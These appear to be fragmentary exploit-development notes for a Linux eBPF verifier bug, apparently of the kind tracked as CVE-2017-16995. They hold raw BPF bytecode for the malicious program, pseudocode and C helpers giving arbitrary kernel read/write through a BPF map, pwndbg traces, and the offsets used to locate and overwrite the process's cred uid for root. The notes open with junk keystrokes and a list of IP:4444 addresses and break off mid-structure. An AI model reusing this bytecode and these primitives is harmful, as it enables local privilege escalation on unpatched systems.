d
dw
dw
dw
d
wd
w
dw
d
w
d asdcxcqwenidksnkcns------149.28.153.115:4444/207.148.65.39:4444/207.148.65.39:4444/192.168.81.105:4444/192.168.81.104:4444/192.168.0.102:4444/zzzzzzzzzzzzzzzzz

struct bpf_insn {
__u8 code; /* opcode */
__u8 dst_reg:4; /* dest register */
__u8 src_reg:4; /* source register */
__s16 off; /* signed offset */
__s32 imm; /* signed immediate constant */
};
"\xb4\x09\x00\x00\xff\xff\xff\xff"
"\x55\x09\x02\x00\xff\xff\xff\xff"
"\xb7\x00\x00\x00\x00\x00\x00\x00"
{
r9 = u32(-1);
if(r9==0xffffff){
exit;
}
........ (some malicious code)
}
else if (class == BPF_JMP) {
u8 opcode = BPF_OP(insn->code);
if (opcode == BPF_CALL) {
//some code
}
else if (opcode == BPF_JA) {
//some code
}
else if (opcode == BPF_EXIT) {
//some code
}else {
err = check_cond_jmp_op(env, insn, &insn_idx);
if (err)
return err;
}
}
if (BPF_SRC(insn->code) == BPF_K &&
(opcode == BPF_JEQ || opcode == BPF_JNE) &&
regs[insn->dst_reg].type == CONST_IMM &&
regs[insn->dst_reg].imm == insn->imm) {
if (opcode == BPF_JEQ) {
/* if (imm == imm) goto pc+off;
* only follow the goto, ignore fall-through
*/
*insn_idx += insn->off;
return 0;
} else {
/* if (imm != imm) goto pc+off;
* only follow fall-through branch, since
* that's where the program will go
*/
return 0;
}
}
Breakpoint 3, 0xffffffff8111318e in check_cond_jmp_op (insn_idx=<optimized out>, insn=<optimized out>, env=<optimized out>) at kernel/bpf/verifier.c:1219
1219 regs[insn->dst_reg].type == CONST_IMM &&
=> 0xffffffff8111318e <bpf_check+7918>: cmp %ecx,0x8(%rax)
0xffffffff81113191 <bpf_check+7921>: jne 0xffffffff81112cbc <bpf_check+6684>
0xffffffff81113197 <bpf_check+7927>: cmpb $0x10,-0x78(%rbp)
0xffffffff8111319b <bpf_check+7931>: jne 0xffffffff81111edf <bpf_check+3135>
ecx 0xffffffff
$3 = 0xffff88007b9e70a8
0xffff88007b9e70a8: 0x0000000000000008 0x00000000ffffffff
#define DST regs[insn->dst_reg]
#define SRC regs[insn->src_reg]
#define FP regs[BPF_REG_FP]
#define ARG1 regs[BPF_REG_ARG1]
#define CTX regs[BPF_REG_CTX]
#define IMM insn->imm
//definition of regs
u64 regs[MAX_BPF_REG], tmp;
//jump branch for BPF_ALU|BPF_MOV|BPF_K
ALU_MOV_K:
DST = (u32) IMM;
CONT;
//jump branch for BPF_JMP|BPF_JNE|BPF_K
JMP_JNE_K:
if (DST != IMM) {
insn += insn->off;
CONT_JMP;
}
CONT;
0xffffffff81171b6a <__bpf_prog_run+1562> and eax, 0xf
0xffffffff81171b6d <__bpf_prog_run+1565> mov qword ptr [rbp + rax*8 - 0x278], rdi
0xffffffff81171b75 <__bpf_prog_run+1573> movzx eax, byte ptr [rbx]
0xffffffff81171b78 <__bpf_prog_run+1576> jmp qword ptr [r12 + rax*8]
↓
0xffffffff81171e3b <__bpf_prog_run+2283> movzx eax, byte ptr [rbx + 1]
► 0xffffffff81171e3f <__bpf_prog_run+2287> movsxd rdx, dword ptr [rbx + 4]
pwndbg> x/gx $rbx+4
0xffffc90000461034: 0x000000b7ffffffff
0xffffffff81171b6d <__bpf_prog_run+1565> mov qword ptr [rbp + rax*8 - 0x278], rdi
0xffffffff81171b75 <__bpf_prog_run+1573> movzx eax, byte ptr [rbx]
0xffffffff81171b78 <__bpf_prog_run+1576> jmp qword ptr [r12 + rax*8]
↓
0xffffffff81171e3b <__bpf_prog_run+2283> movzx eax, byte ptr [rbx + 1]
0xffffffff81171e3f <__bpf_prog_run+2287> movsxd rdx, dword ptr [rbx + 4]
► 0xffffffff81171e43 <__bpf_prog_run+2291> and eax, 0xf
0xffffffff81171e46 <__bpf_prog_run+2294> cmp qword ptr [rbp + rax*8 - 0x278], rdx
0xffffffff81171e4e <__bpf_prog_run+2302> je __bpf_prog_run+5036 <0xffffffff811728fc>
0xffffffff81171e54 <__bpf_prog_run+2308> movsx rax, word ptr [rbx + 2]
0xffffffff81171e59 <__bpf_prog_run+2313> lea rbx, [rbx + rax*8 + 8]
0xffffffff81171e5e <__bpf_prog_run+2318> movzx eax, byte ptr [rbx]
pwndbg> i r rdx
rdx 0xffffffffffffffff -1
0xffffffff81171e43 <__bpf_prog_run+2291> and eax, 0xf
► 0xffffffff81171e46 <__bpf_prog_run+2294> cmp qword ptr [rbp + rax*8 - 0x278], rdx
0xffffffff81171e4e <__bpf_prog_run+2302> je __bpf_prog_run+5036 <0xffffffff811728fc>
0xffffffff81171e54 <__bpf_prog_run+2308> movsx rax, word ptr [rbx + 2]
0xffffffff81171e59 <__bpf_prog_run+2313> lea rbx, [rbx + rax*8 + 8]
0xffffffff81171e5e <__bpf_prog_run+2318> movzx eax, byte ptr [rbx]
0xffffffff81171e61 <__bpf_prog_run+2321> jmp qword ptr [r12 + rax*8]
pwndbg> i r rdx
rdx 0xffffffffffffffff -1
pwndbg> x/gx $rbp + $rax*8 - 0x278
0xffff8800165dba78: 0x00000000ffffffff
0: (b4) (u32) r9 = (u32) -1
1: (55) if r9 != 0xffffffff goto pc+2
2: (b7) r0 = 0
3: (95) exit
"\xb4\x09\x00\x00\xff\xff\xff\xff"
"\x55\x09\x02\x00\xff\xff\xff\xff"
"\xb7\x00\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x18\x19\x00\x00\x03\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x00\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x06\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x01\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x07\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x02\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x08\x00\x00\x00\x00\x00\x00"
"\xbf\x02\x00\x00\x00\x00\x00\x00"
"\xb7\x00\x00\x00\x00\x00\x00\x00"
"\x55\x06\x03\x00\x00\x00\x00\x00"
"\x79\x73\x00\x00\x00\x00\x00\x00"
"\x7b\x32\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x55\x06\x02\x00\x01\x00\x00\x00"
"\x7b\xa2\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x7b\x87\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00";
"\xb4\x09\x00\x00\xff\xff\xff\xff"
"\x55\x09\x02\x00\xff\xff\xff\xff"
"\xb7\x00\x00\x00\x00\x00\x00\x00"
R1 = bpf_map;
R2 = R10;
R2 = R2 - 4;
*(R10-4) = 0;
R0 = call bpf_map_lookup_elem(R1, R2); // R1 is pointer to bpf_map, *R2 is 0
if(R0 == 0)
JUMP_EXIT
R6 = *R0
R1 = bpf_map;
R2 = R10;
R2 = R2 - 4;
*(R10-4) = 1;
R0 = call bpf_map_lookup_elem(R1, R2); // R1 is pointer to bpf_map, *R2 is 1
if(R0 == 0)
JUMP_EXIT
R7 = *R0
R1 = bpf_map;
R2 = R10;
R2 = R2 - 4;
*(R10-4) = 2;
R0 = call bpf_map_lookup_elem(R1, R2); // R1 is pointer to bpf_map, *R2 is 2
if(R0 == 0)
JUMP_EXIT
R8 = *R0
R2 = R0;
R0 = 0;
if(R6 == 0)
{
R3 = *(R7);
*R2 = R3;
}
else if(R6 == 1)
{
*R2 = R10;
}
else if(R6 == 2)
{
*(R7) = R8;
}
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);
socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets);
setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd));
static int bpf_update_elem(uint64_t key, uint64_t value) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)&key,
.value = (__u64)&value,
.flags = 0,
};
#define __update_elem(a, b, c) \
bpf_update_elem(0, (a)); \
bpf_update_elem(1, (b)); \
bpf_update_elem(2, (c)); \
writemsg();
static uint64_t get_value(int key) {
uint64_t value;
bpf_lookup_elem(&key, &value);
return value;
}
static int bpf_lookup_elem(void *key, void *value) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)key,
.value = (__u64)value,
};
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
static uint64_t __get_fp(void) {
__update_elem(1, 0, 0);
return get_value(2);
}
stack_pointer = frame_pointer & ~(0x4000 - 1);
union thread_union {
struct thread_info thread_info;
unsigned long stack[THREAD_SIZE/sizeof(long)];
};
struct thread_info {
struct task_struct *task; /* main task structure */
__u32 flags; /* low level flags */
__u32 status; /* thread synchronous flags */
__u32 cpu; /* current CPU */
mm_segment_t addr_limit;
unsigned int sig_on_uaccess_error:1;
unsigned int uaccess_err:1; /* uaccess failed */
};
0xffffffff81172b1b <map_update_elem+235> mov edx, dword ptr [r14 + 0xc]
0xffffffff81172b1f <map_update_elem+239> mov rsi, qword ptr [rbp - 0x38]
0xffffffff81172b23 <map_update_elem+243> mov rdi, rax
0xffffffff81172b26 <map_update_elem+246> mov qword ptr [rbp - 0x30], rax
0xffffffff81172b2a <map_update_elem+250> call _copy_from_user <0xffffffff813f5ff0>
► 0xffffffff81172b2f <map_update_elem+255> test rax, rax
0xffffffff81172b32 <map_update_elem+258> mov edx, 0xfffffff2
0xffffffff81172b37 <map_update_elem+263> mov r8, qword ptr [rbp - 0x30]
0xffffffff81172b3b <map_update_elem+267> je map_update_elem+323 <0xffffffff81172b73>
↓
0xffffffff81172b73 <map_update_elem+323> mov rax, qword ptr [r14 + 0x20]
0xffffffff81172b77 <map_update_elem+327> mov rdx, r8
0
pwndbg> p/x (&(((struct task_struct*)(0xffff88007886d280))->cred))
$44 = 0xffff88007886d850
pwndbg> p/x 0xffff88007886d850-0xffff88007886d280
$45 = 0x5d0
credptr = __read(task_struct + 0x5d0);
pwndbg> x/10gx 0xffff8800165d8000 (stack pointer)
0xffff8800165d8000: 0xffff8800246f6040 (task_struct) 0x0000000000000000
0xffff8800165d8010: 0x0000000000000000 0x00007ffffffff000
0xffff8800165d8020: 0x0000000000000000 0x0000000057ac6e9d
0xffff8800165d8030: 0x0000000000000000 0x0000000000000000
0xffff8800165d8040: 0x0000000000000000 0x0000000000000000
pwndbg> p/x *(((struct task_struct*)(0xffff8800246f6040))->cred)
$2 = {
usage = {
counter = 0x9
},
uid = { <<--- uid cần ghi đè
val = 0x3e8
},
gid = {
val = 0x3e8
},
suid = {
val = 0x3e8
},
sgid = {
val = 0x3e8
},